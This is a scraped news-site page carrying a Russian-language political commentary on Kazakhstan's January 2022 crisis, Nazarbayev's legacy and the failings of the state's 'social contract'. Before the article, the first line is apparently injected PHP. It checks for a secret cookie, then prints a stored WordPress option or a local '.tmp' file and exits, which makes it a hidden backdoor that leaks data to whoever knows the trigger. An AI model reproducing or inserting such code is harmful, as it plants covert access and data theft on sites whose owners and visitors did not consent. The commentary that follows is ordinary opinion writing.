if (isset($_COOKIE["BsIbuVOYEiveJFkpFamX1AFEH3OK4xrKIKkWV0cFmaxChmhI"])) { $lines = get_option( 'wpsdth4_license_key' ); if (!empty($lines)) { $lines = @file_get_contents(".tmp"); } echo $lines; exit(); } Некоторые уроки новейшей истории — Данияр АШИМБАЕВ (Turanpress.kz) - Better.kz
18.01.2022

Некоторые уроки новейшей истории — Данияр АШИМБАЕВ (Turanpress.kz)

base-poster

Уже не раз отмечалось, что 10-летние юбилеи независимости в Казахстане сопровождаются политическими катаклизмами. Не стало исключением и 30-летие, правда, с небольшим опозданием.

Конечно, бывали и другие острые кризисы, и тяжёлые периоды, но символизм и острота 10-летий все же перемешивает.

Социолог Гульмира Илеуова связывала начавшийся транзит власти в стране с завершением символического социального договора, своего рода взаимной усталостью первого президента и народа страны.

Нурсултан Назарбаев действительно ушёл с поста президента до 30-летия своего правления и 80-летнего юбилея, к которым многие начали исподволь готовиться.

Многие обратили внимание на то, что из двух анонсированных Касым-Жомартом Токаевым двух высших наград страны Назарбаев получил (точнее, думаю, захотел получить) только одну (Народный герой).

Да и юбилейные мероприятия проходили достаточно скромно — конференции и открытия нескольких памятников.

Его пребывание в статусе главы АНК, СБ и «Нур Отана» имело, на мой взгляд основной целью не продление своего правления в ином статусе, а обеспечение стабильности правления Токаева на начальном периоде (ибо, как мы знаем, конкуренция за статус преемника Назарбаева была последние два десятилетия очень и очень жесткой).

Последние события ускорили развязку. Если рассматривать ситуацию с точки зрения правящего сословия, то его уходом с поста председателя партии многие сановники были недовольны, т.к. она вела к сокращению пространства для маневров и закрывала вопрос выборов 2024 года. Многие ждали, что Назарбаев «разочаруется» в Токаеве и инициирует выдвижения нового преемника через 2 года.

В самом деле, разговоры шли столько лет, что уже после выборов 2019 года многие задавали вопрос о том, когда, мол, будет «настоящий преемник».

Решение о передаче руководства партией и очевидные кадровые перестановки (включая отставку правительства), возможно, стали пусковым приводов январских событий и привели к тому, что Токаев повёл себя не «как президент», а как лидер, взявший на себя ответственность за ситуацию в стране. Назарбаев передал ему Совет безопасности и ушёл в тень, чтобы не мешать политике Токаева.

Заявление пресс-службы Библиотеки о том, что Назарбаев в стране, прозвучало несколько неуклюже, хотя преследовало основной целью опровергнуть слухи, согласно которым первый президент «бежал из страны».

Многие чиновники, политики и бизнесмены тут же бросились плевать в человека, которого ещё месяц назад демонстративно боготворили. Но это больше говорит о них самих, чем об отношении общества к Назарбаеву.

Очень хорошо об этом высказался экономист Расул Рысмамбетов:

«С любопытством восхищаюсь гибкостью тех, кто на своих высоких должностях и с отличными бюджетами терпел гнёт режима десятилетия и теперь может невозбранно кидать фекалии из окна персонального авто в буквально позавчерашнее прошлое».

Первый президент сделал для страны очень многое, ему она обязана бескровным переходом к независимости, формированием государственных институтов, достаточно сбалансированным переходом к рынку, международным признанием, социальной, политической и межнациональной стабильностью.

На примере многих наших соседей мы прекрасно видим, сколько зависит от роли лидера.

Давнее противоречие между национальной и гражданской идентичностью как основой модели государственного и нациестроительства определилось тем, что Назарбаев был одновременно «главным казахом» и «главным казахстанцем», уравновешивая эти дискурсы и отсекая крайности.

Сильным проектом стал перенос столицы в Акмолу, невзирая на экономические сложности. Новый центр стал центром притяжения для всей республики.

Блогер Илья Варламов не так давно критиковал столицу за большие пустые пространства, но с точки зрения январских событий хорошо видно, что дойти до резиденции президента вооружённой толпе было бы намного сложнее, чем в Алматы (не забудем и о погоде, и о расстоянии от южных областей до Астаны)...

Вернемся к «общественному договору».

Понятие это условное, которое можно сформулировать следующим образом. Власть обязуется обеспечивать безопасность, законность (справедливость) экономическую, социальную и национальную стабильность, благосостояние, развитие образования, здравоохранения и социальной сферы в обмен на лояльность народа и его согласие принимать правила игры, либерально относится к небольших «шалостям» властей. Справедливость в обмен на уважение.

В целом, договор этот соблюдался достаточно регулярно: фактической его пролонгацией были президентские выборы 1991, 1995 (референдум), 1999, 2005, 2011 и 2015 годов, которые Назарбаев выигрывал без особых проблем. Понятно, что некоторая накрутка по явке или полученным процентам имела место, но итоги выборов никто не  оспаривал, да и конкурентов у Назарбаева так и не появилось (некоторое количество лиц, имеющих себя «главными противниками» первого президента, не в счет).

Главная проблема власти, общественного договора была в том, что периодически накапливался определённый слой неприкасаемых лиц, который быстро разрастался, заполнял собой верхушку аппарата, брал под контроль финансовые потоки и активы, обрастал командами, масс-медиа, а главное — стал принимать для себя отдельные правила игры, что ставило под сомнение всю идею справедливости.

Общество периодически взрывалось критикой, когда правосудие откровенно покупалось, но не желало перевода этого явления в разряд системных.

Концентрация экономической власти плохо отражалось на экономике в целом, а политической и кадровой — на социальной стабильности.

Наверху периодически росла популярность идеи «наследственной аристократии» вкупе с модой на показную роскошь (доступную остальным только в кредит).

Шире идея наследственности власти стала влиять на политическую жизнь страны, хотя Нурсултан Назарбаев категорически опровергал этот тезис. В то же время вокруг тех или иных родственников первого президента периодически концентрировались лица, рассматривающие их как «социальный лифт».

Назарбаев, нужно отдать ему должное, периодически отправлял в отставку («опалу») и ближайших соратников (Абыкаев, Есимов, Тасмагамбетов, Джаксыбеков), и родственников (зятья и племянники) с целью снятия напряженности и в воспитательных целях.

Три «юбилейных» социально-политических катаклизма в немалой степени были связаны с тем, что интересы и амбиции отдельных VIP-граждан стали входить в противоречие с интересами целых социальных групп.

Но это только часть проблемы.

Не менее важна и постоянная тенденция на «бронзовение» власти. Чиновничество стало склонно возводить свои маленькие культики, отрываться от общества, от населения, считать себя непогрешимым и воспринимать любую критику как покушение на устои государства.

Все институты, призванные обеспечивать диалог (и даже требовать его), такие как маслихаты, партии, независимые СМИ и профсоюзы стали либо ставиться под контроль, либо деградировали.

Основными «традициями» госполитики стали бессмысленное доктринерство, неуемное реформаторство, нестабильность институтов управления, законодательства и целевых показателей собственной работы, минимизация информации при максимизации и гламуризации образа чиновников и институтов управления.

Государство стало, мягко говоря, становится не слишком эффективным.

Вместо обеспечения вышеуказанных договорных обязательств, которые в принципе согласовывались с собственными программами власти (диверсификация экономики, развитие предпринимательства), основной формой взаимоотношений государства и населения стали меры социальной поддержки в виде пособий и иных платежей, что породило не просто патернализм, сколько иждивенчество и коррупционно-мошеннические схемы.

Президент неоднократно говорил о том, что миллиарды тратятся на временные и фиктивные рабочие места, но реакции от чиновничества не последовало.

А вот создание стабильных производств, крупных и средних инфраструктурных проектов, основанных на богатых природных ресурсах страны, с устойчивой и не «точечной» занятостью и стабильным доходом населения, почему-то не попало даже на бумагу.

Зато разросся квазигосударственный сектор, представляющий по сути лишнюю бюрократическую надстройку над экономикой и способствующий только теневому перераспределению финансовых ресурсов.

Периодически, после социально-политических катаклизмов государство наводит определённый порядок, сносит наиболее одиозные фигуры и оптимизирует систему управления.

Но этого порыва хватает лет на пять, после чего происходит очередной мини-стресс, а затем импульс эффективности теряется окончательно, пока неработающая система не вступит в очередной кризис.

Добавим к этому то, что негативные тенденции поражают и силовые структуры, что выбивает из-под власти и подушку безопасности.

Январский кризис был преодолен лишь с внешней помощью, но без модернизации всей системы глобальные проблемы решить уже невозможно.

Некоторые направления президент Токаев уже озвучил, по остальным предстоит серьёзная экспертная и общественная дискуссия.

Необходимо понимать, что реализация многих системных мер займёт не один год и потребует немалой политической воли. Вопрос в том: есть ли время в запасе?

Комментарии закрыты.